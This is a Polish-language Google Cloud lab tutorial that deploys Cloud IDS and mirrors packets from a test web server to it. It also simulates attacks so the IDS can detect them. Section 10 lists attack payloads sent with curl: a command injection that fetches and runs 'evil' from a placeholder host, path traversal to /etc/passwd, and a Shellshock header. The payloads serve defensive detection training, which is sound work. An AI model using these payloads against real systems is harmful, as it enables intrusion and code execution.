Cloud IDS

1. Wprowadzenie

W tym laboratorium wdrożysz Cloud IDS, zaawansowaną usługę wykrywania włamań nowej generacji, która wykrywa zagrożenia związane z włamaniem, złośliwym oprogramowaniem, programami szpiegowskimi oraz przejęciem kontroli (atakami C&C). Przeprowadzisz symulację wielu ataków i wyświetlisz szczegóły zagrożeń w Cloud Console.

Czego się nauczysz

  • Jak utworzyć punkt końcowy Cloud IDS
  • Jak utworzyć 2 maszyny wirtualne za pomocą poleceń gcloud
  • Tworzenie zasady dublowania pakietów
  • Symulowanie ruchu związanego z atakiem z maszyny wirtualnej
  • Jak wyświetlać szczegóły zagrożeń w Cloud Console i Cloud Logging

Czego potrzebujesz

  • znajomość podstawowych poleceń systemu Linux;

2. Przypadki użycia Cloud IDS

Cloud IDS to natywna usługa Google Cloud do wykrywania włamań nowej generacji, która pomaga klientom spełniać wymagania dotyczące zaawansowanego wykrywania zagrożeń i zgodności, takie jak PCI 11.4. Usługa ta korzysta z technologii ochrony przed zagrożeniami Palo Alto Networks, aby zapewniać zaawansowane wykrywanie włamań. Połączenie światowej klasy infrastruktury Google Cloud ze światowej klasy zabezpieczeniami Palo Alto Networks zapewnia klientom niezrównane połączenie w pełni zarządzanej, wydajnej i wysoce skutecznej usługi wykrywania zaawansowanych zagrożeń.

Klienci, którzy przenoszą swoje usługi do chmury, zwracają szczególną uwagę na bezpieczeństwo. Chcą mieć podobne mechanizmy kontroli zabezpieczeń jak w przypadku środowiska lokalnego, np. usługę wykrywania włamań (IDS) w chmurze. Zdecydowanie wolą korzystać z natywnego dla chmury zarządzanego rozwiązania IDS ze względu na łatwość wdrażania, wysoką wydajność i zoptymalizowane koszty w porównaniu z wdrażaniem rozwiązania zabezpieczającego innej firmy i zarządzaniem infrastrukturą lub używaniem własnych sygnatur. Google Cloud IDS to kompleksowa, zarządzana usługa wykrywania włamań z autoskalowaniem, która umożliwia klientom analizowanie zagrożeń i minimalizowanie ich skutków. Dzięki temu mogą oni zaoszczędzić czas i zasoby, które w przeciwnym razie musieliby poświęcić na zarządzanie infrastrukturą lub sygnaturami zagrożeń.

Usługa Cloud IDS jest wdrażana poza pasmem i może wykrywać zagrożenia oraz wysyłać o nich alerty, ale nie może ich blokować. Wykorzystuje ona funkcję dublowania pakietów Google Cloud do tworzenia kopii ruchu w sieci, która jest analizowana za pomocą silnika wykrywania zagrożeń Palo Alto Network.

3. Topologia ćwiczeń z programowania

5a276f399e1d31e2.png

Rysunek 1. Ogólny przegląd architektury wdrażania Cloud IDS na potrzeby tego modułu.

4. Konfiguracja i wymagania

Samodzielne konfigurowanie środowiska

  1. Zaloguj się w konsoli Google Cloud i utwórz nowy projekt lub użyj istniejącego. Jeśli nie masz jeszcze konta Gmail ani Google Workspace, musisz je utworzyć.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Nazwa projektu to wyświetlana nazwa uczestników tego projektu. Jest to ciąg znaków, który nie jest używany przez interfejsy API Google. Możesz go w dowolnym momencie zaktualizować.
  • Identyfikator projektu musi być unikalny we wszystkich projektach Google Cloud i jest niezmienny (nie można go zmienić po ustawieniu). Konsola Cloud automatycznie generuje unikalny ciąg znaków. Zwykle nie musisz się nim przejmować. W większości modułów z kodem musisz odwoływać się do identyfikatora projektu (zwykle oznaczanego jako PROJECT_ID). Jeśli Ci się nie podoba, wygeneruj inny losowy identyfikator lub spróbuj użyć własnego i sprawdź, czy jest dostępny. Po utworzeniu projektu jest on „zamrażany”.
  • Istnieje też trzecia wartość, czyli numer projektu, którego używają niektóre interfejsy API. Więcej informacji o tych 3 wartościach znajdziesz w dokumentacji.
  1. Następnie musisz włączyć płatności w konsoli Cloud, aby korzystać z zasobów i interfejsów API Google Cloud. Ukończenie tego laboratorium nie powinno wiązać się z dużymi kosztami, a nawet z żadnymi. Aby wyłączyć zasoby i uniknąć naliczenia opłat po zakończeniu tego samouczka, postępuj zgodnie z instrukcjami „czyszczenia” na końcu ćwiczenia. Nowi użytkownicy Google Cloud mogą skorzystać z bezpłatnego okresu próbnego, w którym mają do dyspozycji środki w wysokości 300 USD.

Uruchamianie Cloud Shell

Z Google Cloud można korzystać zdalnie na laptopie, ale w tym module praktycznym będziesz używać Google Cloud Shell, czyli środowiska wiersza poleceń działającego w chmurze.

W konsoli GCP kliknij ikonę Cloud Shell na pasku narzędzi w prawym górnym rogu:

bce75f34b2c53987.png

Uzyskanie dostępu do środowiska i połączenie się z nim powinno zająć tylko kilka chwil. Po zakończeniu powinno wyświetlić się coś takiego:

f6ef2b5f13479f3a.png

Ta maszyna wirtualna zawiera wszystkie potrzebne narzędzia dla programistów. Zawiera również stały katalog domowy o pojemności 5 GB i działa w Google Cloud, co znacznie zwiększa wydajność sieci i usprawnia proces uwierzytelniania. Wszystkie zadania w tym module możesz wykonać w przeglądarce.

5. Zanim zaczniesz

Włącz interfejsy API

W Cloud Shell sprawdź, czy identyfikator projektu jest skonfigurowany.

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Włącz wszystkie niezbędne usługi

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Utwórz sieć VPC

Sieć VPC

Z Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Podsieć

Z Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Prywatny dostęp do usług

Z Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Połączenie Private Service Connect

Z Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Reguły zapory sieciowej

Aby umożliwić IAP połączenie z instancjami maszyn wirtualnych, utwórz regułę zapory sieciowej, która:

  • Dotyczy wszystkich instancji maszyn wirtualnych, które mają być dostępne przez IAP.
  • Zezwala na ruch przychodzący z zakresu adresów IP 35.235.240.0/20. Ten zakres zawiera wszystkie adresy IP, których IAP używa do przekierowywania TCP.

Z Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Aby zezwolić na standardowy port HTTP (TCP 80) i protokół ICMP na serwerze:

  • Dotyczy zasobów z tagiem sieci „server”
  • Dopuszcza ruch przychodzący ze wszystkich źródeł

Z Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Tworzenie instancji Cloud NAT

Cloud Router

Z Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Z Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Tworzenie punktu końcowego Cloud IDS

W tej sekcji utworzysz punkt końcowy Cloud IDS w regionie us-east1 z poziomem ważności ustawionym na informacyjny. Tworzenie punktu końcowego systemu wykrywania włamań trwa około 20 minut.

Punkt końcowy systemu wykrywania włamań

Z Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Sprawdź, czy punkt końcowy Cloud IDS został zainicjowany

gcloud ids endpoints list --project=$PROJECT_ID

Dane wyjściowe –

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Tworzenie 2 maszyn wirtualnych

W tej sekcji utworzysz 2 maszyny wirtualne. Pierwszy to serwer WWW, który jest dublowany w Cloud IDS. Druga maszyna wirtualna będzie źródłem ruchu atakującego.

Maszyna wirtualna 1 (serwer)

Z Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Maszyna wirtualna 2 (klient)

Z Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Przygotowywanie serwera

W tym zadaniu zweryfikujesz serwer i udostępnisz klientowi nieszkodliwy ładunek złośliwego oprogramowania.

Łączenie się z maszyną wirtualną przez SSH za pomocą Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Sprawdzanie, czy usługa internetowa działa

sudo systemctl status nginx

Wynik – sprawdź, czy jest aktywny i działa

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Zmień katalog na usługę internetową

cd /var/www/html/

Utwórz na serwerze WWW plik z nieszkodliwym złośliwym oprogramowaniem.

sudo touch eicar.file

Wklej zawartość

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Wróć do Cloud Shell

exit

Tworzenie zasady dublowania pakietów Cloud IDS

Zidentyfikuj regułę przekazywania punktu końcowego systemu wykrywania włamań i sprawdź, czy stan punktu końcowego systemu wykrywania włamań to „GOTOWY”.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Przykładowe dane wyjściowe – skopiuj wartość z pola „endpointForwardingRule”

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Zapisz regułę przekazywania punktu końcowego systemu wykrywania włamań w zmiennej.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Zasady dublowania pakietów

Z Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Sprawdź, czy zasada dublowania pakietów została utworzona

Z Cloud Shell

gcloud compute packet-mirrorings list

Wyniki

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Symulowanie ruchu związanego z atakiem

Nawiązywanie połączenia SSH z maszyną wirtualną atakującego (klientem)

Z Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Uruchom te żądania curl, aby zasymulować złośliwy ruch.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Wyjdź z maszyny wirtualnej, aby wrócić do Cloud Shell.

exit

11. Sprawdzanie zagrożeń wykrytych przez Cloud IDS

Otwieranie panelu Cloud IDS

Menu nawigacyjne > Bezpieczeństwo sieciowe > Cloud IDS

37583419aa604aa8.png

Otwórz kartę Zagrożenia.

b7d934f409b4e2b.png

Jak widać, Cloud IDS przechwycił różne profile ruchu związanego z atakami i podał szczegóły dotyczące każdego zagrożenia. Jeśli nie widzisz żadnych zagrożeń, konieczne może być kliknięcie przycisku „Odśwież”. Teraz przyjrzymy się bliżej szczegółom zagrożenia.

Znajdź zagrożenie „Bash Remote Code Execution Vulnerability” (Luka w zabezpieczeniach umożliwiająca zdalne wykonanie kodu w Bashu) i kliknij 3 kropki po prawej stronie, a następnie wybierz „Wyświetl szczegóły zagrożenia”.

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Teraz wyświetlimy szczegóły tego incydentu w Cloud Logging. Wróć na stronę Zagrożenia, klikając strzałkę w lewo .

Kliknij trzy kropki po prawej stronie i wybierz „Wyświetl logi zagrożeń”.

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Te same szczegóły są przekazywane do Cloud Logging. Umożliwia to wysyłanie logów do Cloud Storage, Chronicle lub dowolnego systemu SIEM/SOAR. Możesz też tworzyć niestandardowe przepływy pracy, aby podejmować działania naprawcze na podstawie alertów, np. tworzyć funkcję w chmurze, która jest wywoływana przez alert i tworzy lub aktualizuje regułę zapory sieciowej, aby blokować adres IP, albo tworzy lub aktualizuje zasadę Cloud Armor.

12. Procedura czyszczenia

Zamykanie instancji maszyny wirtualnej (wszystkie karty)

exit

Usuwanie komponentów laboratorium z jednego terminala Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Gratulacje!

Gratulujemy ukończenia ćwiczenia.

Omówione zagadnienia

  • Przypadki użycia Cloud IDS
  • Wymagania związane z siecią
  • Obsługiwane interfejsy API
  • Utworzono punkt końcowy Cloud IDS
  • Wdrożono 2 maszyny wirtualne
  • Wygenerowano ruch „ataku” z klienta.
  • Wykryte przez system IDS zweryfikowane zagrożenia
  • Sprawdzanie szczegółów zagrożeń i dzienników